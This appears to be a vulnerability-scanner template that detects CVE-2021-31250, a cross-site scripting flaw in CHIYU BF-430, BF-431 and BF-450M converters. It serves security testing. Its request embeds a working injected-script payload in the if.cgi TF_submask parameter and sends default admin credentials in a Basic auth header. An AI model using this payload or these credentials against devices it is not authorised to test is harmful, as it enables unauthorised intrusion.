id: CVE-2021-31250

info:
  name: CHIYU TCP/IP Converter - Cross-Site Scripting
  author: geeknik
  severity: medium
  description: CHIYU BF-430, BF-431 and BF-450M TCP/IP Converter devices contain a cross-site scripting vulnerability due to a lack of sanitization of the input on the components man.cgi, if.cgi, dhcpc.cgi, and ppp.cgi.
  remediation: |
    To mitigate this vulnerability, ensure that all user-supplied input is properly validated and sanitized before being rendered in web pages.
  reference:
    - https://gitbook.seguranca-informatica.pt/cve-and-exploits/cves/chiyu-iot-devices#cve-2021-31250
    - https://www.chiyu-tech.com/msg/message-Firmware-update-87.htm
    - https://seguranca-informatica.pt/dancing-in-the-iot-chiyu-devices-vulnerable-to-remote-attacks/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-31250
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2021-31250
    cwe-id: CWE-79
    epss-score: 0.97079
    epss-percentile: 0.99687
    cpe: cpe:2.3:o:chiyu-tech:bf-430_firmware:-:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: chiyu-tech
    product: bf-430_firmware
  tags: cve,cve2021,chiyu,xss,iot,intrusive

http:
  - method: GET
    path:
      - "{{BaseURL}}/if.cgi?redirect=setting.htm&failure=fail.htm&type=ap_tcps_apply&TF_ip=443&TF_submask=0&TF_submask=%22%3E%3Cscript%3Ealert%28{{randstr}}%29%3C%2Fscript%3E&radio_ping_block=0&max_tcp=3&B_apply=APPLY"

    headers:
      Authorization: Basic OmFkbWlu
    host-redirects: true

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - text/html

      - type: word
        part: body
        words:
          - '"><script>alert({{randstr}})</script>'

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